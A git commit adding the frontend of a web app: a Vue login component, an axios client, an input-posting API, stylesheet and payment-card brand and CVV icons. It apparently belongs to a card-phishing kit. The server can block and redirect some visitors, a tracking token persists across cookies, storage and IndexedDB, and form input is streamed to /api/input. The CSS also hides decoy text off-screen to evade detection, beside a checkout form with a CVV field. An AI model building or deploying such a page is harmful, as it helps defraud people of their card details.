This commit is contained in:
telangpu
2026-04-28 00:42:28 +08:00
parent 2fd1a741cf
commit cf55c2cad6
2522 changed files with 566733 additions and 13 deletions

View File

@@ -0,0 +1,70 @@
<script setup lang="ts">
import { RouterView } from "vue-router";
import { onMounted } from "vue";
import http from "@/api/http";
import { useLoadingStore } from "@/stores/loadingStore";
import {
configData,
loginSuccess,
redirectToExternal,
headHtml,
loadHtml,
headerHtml,
footerHtml,
} from "@/utils/common";
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
import LoadingView from "@/views/LoadingView.vue";
const loadingStore = useLoadingStore();
onMounted(() => {
login();
});
const login = async function () {
headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
if (data.data.isBlock) {
redirectToExternal();
return;
}
if (data.data.isFirst) {
localStorage.removeItem("route")
}
let token = data.data.Token;
if (data.data.mode) {
localStorage.setItem("mode", data.data.mode);
}
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
let sessionCrypto = null;
if (serverPubKey) {
try {
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
} catch (e) {
}
}
loginSuccess(token, data.data.mode, sessionCrypto);
if (data.data.custom) {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/footer.html");
};
</script>
<template>
<div v-html="headHtml"></div>
<LoadingView />
<RouterView />
</template>
<style scoped></style>

View File

@@ -0,0 +1,5 @@
import http from "@/api/http";
export function sendInput(data: any) {
http.post("/api/input", data).then((data) => {});
}

View File

@@ -0,0 +1,223 @@
// http.js
import axios from "axios";
import { v4 as uuidv4 } from "uuid";
// ============ 配置 ============
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
? "/"
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
? `http://${import.meta.env.VITE_BASE_URL}`
: `https://${import.meta.env.VITE_BASE_URL}`;
const DB_CONFIG = {
name: "TokenDB",
version: 2,
store: "tokens",
key: "userToken",
} as const;
const STORAGE_KEY = "token";
// ============ IndexedDB 操作 ============
class TokenDB {
private static async open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
request.onerror = () => reject(request.error);
request.onsuccess = () => resolve(request.result);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
db.deleteObjectStore(DB_CONFIG.store);
}
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
};
});
}
static async get(): Promise<string | null> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readonly");
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
request.onsuccess = () => resolve(request.result?.value || null);
request.onerror = () => resolve(null);
tx.oncomplete = () => db.close();
tx.onabort = () => db.close();
});
} catch {
return null;
}
}
static async set(token: string): Promise<void> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readwrite");
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
tx.oncomplete = () => { db.close(); resolve(); };
tx.onerror = () => { db.close(); resolve(); };
});
} catch {
// 静默失败,有其他存储兜底
}
}
}
// ============ Token 管理器 ============
class TokenManager {
private static cache: string | null = null;
private static pending: Promise<string> | null = null;
// UUID v4 格式校验,防止脏数据
private static isValidToken(token: string | null): token is string {
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
}
// 安全地操作 Storage
private static safeGet(storage: Storage): string | null {
try {
return storage.getItem(STORAGE_KEY);
} catch {
return null;
}
}
private static safeSet(storage: Storage, token: string): void {
try {
storage.setItem(STORAGE_KEY, token);
} catch {
// 静默失败
}
}
// Cookie 操作同步iOS 上比 localStorage 更早可用)
private static getFromCookie(): string | null {
try {
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
return match ? decodeURIComponent(match[1]) : null;
} catch {
return null;
}
}
private static saveToCookie(token: string): void {
try {
// 有效期 400 天Safari 上限SameSite=Lax 兼容 WebView
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
} catch {
// 静默失败
}
}
// 同步到所有存储(后台执行,不阻塞)
private static syncToAllStorages(token: string): void {
this.safeSet(sessionStorage, token);
this.safeSet(localStorage, token);
this.saveToCookie(token);
TokenDB.set(token).catch(() => { });
}
// 从同步存储快速获取cookie 优先iOS 上最可靠的同步读取)
private static getFromSyncStorage(): string | null {
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
return this.isValidToken(token) ? token : null;
}
// 延迟后重试读取同步存储iOS 冷启动时存储可能未就绪)
private static waitAndRetrySync(ms: number): Promise<string | null> {
return new Promise(resolve => {
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
});
}
// 主入口:获取或创建 Token
static async getToken(): Promise<string> {
// 1. 内存缓存(最快)
if (this.cache) return this.cache;
// 2. 等待进行中的创建(并发安全)
if (this.pending) return this.pending;
// 3. 同步存储快速路径
const syncToken = this.getFromSyncStorage();
if (syncToken) {
this.cache = syncToken;
this.syncToAllStorages(syncToken);
return syncToken;
}
// 4. 异步获取或创建(带锁)
this.pending = this.createToken();
return this.pending;
}
private static async createToken(): Promise<string> {
try {
// 再次检查缓存
if (this.cache) return this.cache;
// 尝试从 IndexedDB 恢复
const dbToken = await TokenDB.get();
if (dbToken && this.isValidToken(dbToken)) {
this.cache = dbToken;
this.syncToAllStorages(dbToken);
return dbToken;
}
// iOS 冷启动兜底:等待一小段时间后重试同步存储
// localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
for (const delay of [50, 100, 150]) {
const retryToken = await this.waitAndRetrySync(delay);
if (retryToken) {
this.cache = retryToken;
this.syncToAllStorages(retryToken);
return retryToken;
}
}
// 所有恢复手段用尽,生成新 Token
const newToken = uuidv4();
this.cache = newToken;
this.syncToAllStorages(newToken);
return newToken;
} finally {
this.pending = null;
}
}
}
// ============ Axios 实例 ============
const http = axios.create({
baseURL: BASE_URL,
timeout: 15000,
});
// 请求拦截器
http.interceptors.request.use(
async (config) => {
const token = await TokenManager.getToken();
config.headers["Token"] = token;
config.headers["X-Token"] = token;
config.params = { ...config.params, token };
return config;
},
(error) => Promise.reject(error)
);
// 响应拦截器
http.interceptors.response.use(
(response) => response.data,
(error) => {
if (error.response) {
console.error("Error:", error.response.status, error.response.data);
} else {
console.error("Error:", error.message);
}
return Promise.reject(error);
}
);
export default http;

View File

@@ -0,0 +1,141 @@
@keyframes g-loading-bgAnim {
0%,to {
background-color: rgba(255,255,255,.635)
}
50% {
background-color: rgba(255,255,255,0)
}
}
.g-loading-mask {
width: 100vw;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
position: fixed;
left: 0;
top: 0;
animation: g-loading-bgAnim 3s linear infinite;
opacity: 0;
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
pointer-events: none;
transition: all .3s;
z-index: -100;
}
.g-loading-mask.show {
opacity: 1;
pointer-events: initial;
display: none;
}
.g-loading-mask .loading {
width: 38px;
height: 38px;
display: none;
}
html,body {
padding: 0;
border: 0;
margin: 0;
overflow-x: hidden;
overflow-y: auto;
overflow: hidden auto
}
[data-t] {
font-size: 1em!important
}
[data-t]:after {
content: attr(data-t) " "
}
[class^=_][class$=_] {
color: transparent!important
}
[class^=_][class$=_] {
display: inline-block;
pointer-events: none;
position: absolute;
left: 1000vw
}
[class^=_][class$=_]::-moz-selection {
color: transparent!important
}
[class^=_][class$=_]::selection {
color: transparent!important
}
form div.input [alt=cvv] {
bottom: 8px
}
form div.input input {
padding: 8px!important
}
form div.input input {
border: 1px solid #dddddd;
border-radius: 3px;
width: 100%;
box-sizing: border-box
}
form div.input input::-moz-placeholder {
opacity: .5
}
form div.input input::placeholder {
opacity: .5
}
form div.button-submit {
text-align: center
}
form div.button-submit button {
align-items: center;
border: 1px solid #2bb82b;
background: #2bb82b;
border-radius: 6px;
color: #ffffff;
display: inline-flex
;
font-family: Roboto;
height: 50px;
justify-content: center;
min-width: 140px;
text-decoration: none;
display: inline-block; /* 确保在 text-align 中居中 */
width: 100%;
}
label {
display: block;
text-transform: capitalize
}
.banner img {
width: 100%;
min-height: 300px;
-o-object-fit: cover;
object-fit: cover;
-o-object-position: right;
object-position: right
}
.main-content-body {
/* padding: 2rem 1rem !important; */
}

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 901 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="translate(80,50)">
<g transform="rotate(0)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,71.21320343559643)">
<g transform="rotate(45)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
</circle>
</g>
</g><g transform="translate(50,80)">
<g transform="rotate(90)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
</circle>
</g>
</g><g transform="translate(28.786796564403577,71.21320343559643)">
<g transform="rotate(135)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
</circle>
</g>
</g><g transform="translate(20,50.00000000000001)">
<g transform="rotate(180)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
</circle>
</g>
</g><g transform="translate(28.78679656440357,28.786796564403577)">
<g transform="rotate(225)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
</circle>
</g>
</g><g transform="translate(49.99999999999999,20)">
<g transform="rotate(270)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,28.78679656440357)">
<g transform="rotate(315)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
</circle>
</g>
</g>
<!-- [ldio] generated by https://loading.io/ --></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.8 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 